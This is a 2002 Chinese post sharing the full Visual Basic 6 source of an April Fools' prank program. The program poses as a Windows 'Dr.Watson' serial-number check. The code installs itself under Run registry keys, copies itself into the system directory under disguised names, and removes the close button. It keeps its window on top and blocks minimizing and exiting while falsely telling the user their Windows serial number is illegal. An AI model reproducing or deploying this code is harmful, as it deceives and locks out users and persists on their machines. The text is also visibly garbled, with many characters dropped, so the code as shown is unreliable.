序列号检查程序

本程序是2002.4.1号写的，大家应该知道是什么日子吧，原来的想法是可以将程序与TXT关联的，但没时间去修改了。程序跟上次的“ ”差不多，但这个可以在2K/XP里用的：）

VERSION 5.00
Begin VB.Form frmMain
  BorderStyle  =  3  ´Fixed Dialog
  Captio  =  "Dr.Watson"
  ClientHeight  =  2190
  ClientLeft  =  45
  ClientTo  =  330
  ClientWidth  =  6120
  Ico  =  "frmMain.frx":0000
  LinkTopic  =  "Form1"
  MaxButto  =  0  ´False
  Mi utto  =  0  ´False
  ScaleHeight  =  2190
  ScaleWidth  =  6120
  ShowInTaskbar  =  0  ´False
  StartU osition =  1  ´CenterOwner
  Begin VB.Frame Frame
  BorderStyle  =  0  ´ one
  Captio  =  "Frame1"
  Height  =  2175
  Left  =  0
  TabIndex  =  0
  To  =  0
  Width  =  6135
  Begin VB.Frame Frame2
  BorderStyle  =  0  ´ one
  Captio  =  "Frame2"
  Height  =  1695
  Left  =  4560
  TabIndex  =  11
  To  =  1680
  Width  =  4575
  Begin VB.Label Label3
  Captio  =  "  注意：如果Dr.Watson检测到输入的序列号错误，将自动返回上一步。"
  Height  =  435
  Left  =  0
  TabIndex  =  14
  To  =  720
  Width  =  4485
  End
  Begin VB.Label Label2
  AutoSize  =  -1  ´True
  Captio  =  "正在验证序列号的正确性，请稍后..."
  Height  =  195
  Left  =  720
  TabIndex  =  13
  To  =  1320
  Width  =  2835
  End
  Begin VB.Label Label1
  Captio  =  "  正在验证序列号是否正确，此过程可能要花数分钟时间，同时可能导致计算机停止响应。"
  Height  =  375
  Left  =  0
  TabIndex  =  12
  To  =  240
  Width  =  4575
  End
  End
  Begin VB.Frame Frame1
  BorderStyle  =  0  ´ one
  Captio  =  "Frame1"
  Height  =  1935
  Left  =  -2640
  TabIndex  =  2
  To  =  1200
  Width  =  4695
  Begin VB.TextBox txtBox
  Height  =  375
  Index  =  4
  Left  =  3720
  TabIndex  =  8
  To  =  1080
  Width  =  615
  End
  Begin VB.TextBox txtBox
  Height  =  375
  Index  =  3
  Left  =  2880
  TabIndex  =  7
  To  =  1080
  Width  =  615
  End
  Begin VB.TextBox txtBox
  Height  =  375
  Index  =  2
  Left  =  2040
  TabIndex  =  6
  To  =  1080
  Width  =  615
  End
  Begin VB.TextBox txtBox
  Height  =  375
  Index  =  1
  Left  =  1200
  TabIndex  =  5
  To  =  1080
  Width  =  615
  End
  Begin VB.TextBox txtBox
  Height  =  375
  Index  =  0
  Left  =  360
  TabIndex  =  4
  To  =  1080
  Width  =  615
  End
  Begin VB.CommandButton cmdSure
  Captio  =  "确定(&am O)"
  Height  =  375
  Left  =  3240
  TabIndex  =  3
  To  =  1560
  Width  =  1095
  End
  Begin VB.Label lbl 
  AutoSize  =  -1  ´True
  Captio  =  "请输入正确的序列号："
  Begi roperty Font
  Name  =  "MS Sa  Serif"
  Size  =  9.75
  Charset  =  0
  Weight  =  400
  Underline  =  0  ´False
  Italic  =  0  ´False
  Strikethrough  =  0  ´False
  EndProperty
  Height  =  240
  Left  =  0
  TabIndex  =  10
  To  =  720
  Width  =  1800
  End
  Begin VB.Label lblTi 
  Captio  =  "  注意：Dr.Watson检测到非法的Windows序列号，您可以在随机附送的使用手册里找到正确的序列号，或与经销商联系。"
  Height  =  675
  Left  =  0
  TabIndex  =  9
  To  =  0
  Width  =  4785
  End
  End
  Begin VB.PictureBox Picture1
  BorderStyle  =  0  ´ one
  Height  =  495
  Left  =  240
  Picture  =  "frmMain.frx":000C
  ScaleHeight  =  495
  ScaleWidth  =  495
  TabIndex  =  1
  To  =  240
  Width  =  495
  End
  End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalName ace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
´ acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute;
´  本程序仅供参考，如造成任何损失本人不负责任。  ´
´  oicq:102490  ´
´  e-mail:skydg@21cn.com  ´
´  主页：   ´
´ acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute acute;
Option Explicit

´读写注册表
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal l ubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Co t HKEY_CURRENT_USER = &am H80000001
Private Co t HKEY_LOCAL_MACHINE = &am H80000002
Private Co t REG_SZ = 1

´窗体总在最前
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndI ertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Co t HWND_TOPMOST = -1

´查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal l uffer As String, ByVal  ize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal l uffer As String, ByVal  ize As Long) As Long

Private Co t MAX_PATH = 260

´去掉关闭按钮
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal  osition As Long, ByVal wFlags As Long) As Long
Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long

Private Co t MF_BYPOSITION = &am H400&am 
Private Co t MF_DISABLED = &am H2&am 

Dim ExitButton As Boolean

´取得windows目录
Function GetWi ath()
  Dim strFolder As String
  Dim lngResult As Long
  strFolder = String(MAX_PATH, 0)
  lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
  If lngResult < gt; 0 Then
  GetWi ath = Left(strFolder, I tr(strFolder, Chr(0)) - 1)
  Else
  GetWi ath = ""
  End If
End Function

´取得system目录
Function GetSystemPath()
  Dim strFolder As String
  Dim lngResult As Long
  strFolder = String(MAX_PATH, 0)
  lngResult = GetSystemDirectory(strFolder, MAX_PATH)
  If lngResult < gt; 0 Then
  GetSystemPath = Left(strFolder, I tr(strFolder, Chr(0)) - 1)
  Else
  GetSystemPath = ""
  End If
End Function

´文件是否存在
Function FileExists(filename As String) As Integer
On Error Resume Next
  Dim i As Integer
  i = Len(Dir$(filename))
  If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

´延时
Private Sub delay(ByVal n As Single)
  Dim tm1 As Single, tm2 As Single
  tm1 = Timer
  Do
  tm2 = Timer
  If tm2 < tm1 Then tm2 = tm2 + 86400
  If tm2 - tm1 > n Then Exit Do
  DoEvents
  Loop
End Sub

´去掉关闭按钮
Private Sub DisableX(Frm As Form)
  Dim hMenu As Long, nCount As Long
  hMenu = GetSystemMenu(Frm.hwnd, 0)
  nCount = GetMenuItemCount(hMenu)
  Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
  DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
  Dim mePath As String
  Dim hKey As Long
  Dim strCmd As String
  Dim strRunCmd As String
 
  mePath = A .Path
  If Right(mePath, 1) < gt; "\" Then mePath = mePath &am  "\"
 
  If A .PrevI tance Then End
 
  ´写入注册表
  strRunCmd = "internet.exe"
  Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
  Call RegSetValueEx(hKey, "system", 0&am , REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
  Call RegCloseKey(hKey)
 
  strRunCmd = "msints.exe"
  Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
  Call RegSetValueEx(hKey, "MsIDE", 0&am , REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
  Call RegCloseKey(hKey)

  ´复制自己
  Dim SourceFile, DestinationFile
  If FileExists(GetSystemPath &am  "\internet.exe") = 0 Then
  SourceFile = mePath &am  A .EXEName &am  ".exe"
  DestinationFile = GetSystemPath &am  "\internet.exe"
  FileCopy SourceFile, DestinationFile
 
  SourceFile = mePath &am  A .EXEName &am  ".exe"
  DestinationFile = GetSystemPath &am  "\msints.exe"
  FileCopy SourceFile, DestinationFile
  End If
 
  ´检查程序是否在系统目录下
  If UCase$(A .Path) < gt; UCase$(GetSystemPath) Then
  MsgBox "程序代码不完整或系统出现错误，程序可能已被病毒破坏。", vbOKOnly
  Open GetWi ath &am  "\killme.bat" For A end As #1
  Print #1, "@echo off"
  Print #1, "dir " &am  GetSystemPath &am  " /w"
  Print #1, "del " &am  mePath &am  A .EXEName &am  ".exe"
  Print #1, "del " &am  GetWi ath &am  "\killme.bat"
  Close #1
  Shell "killme.bat", vbHide
  End
  End If
 
  ´后备程序
  If UCase$(A .EXEName &am  ".exe") = UCase$("msints.exe") Then End
 
  Frame1.Top = 120
  Frame1.Left = 1080
  Frame2.Top = 120
  Frame2.Left = 1080
  Frame2.Visible = False
 
  Call DisableX(Me)
  ´窗体总在最前
  SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.Twi erPixelX, Me.Top \ Screen.Twi erPixelY, Me.Width \ Screen.Twi erPixelX, Me.Height \ Screen.Twi erPixelY, 0
End Sub

Private Sub Form_Resize()
  ´程序被最小化时返回初始状态
  If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
  ´禁止程序退出
  If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
  Frame1.Visible = False
  Frame2.Visible = True
  delay 30
  Frame1.Visible = True
  Frame2.Visible = False
End Sub

Private Sub Label2_Click()
  End
End Sub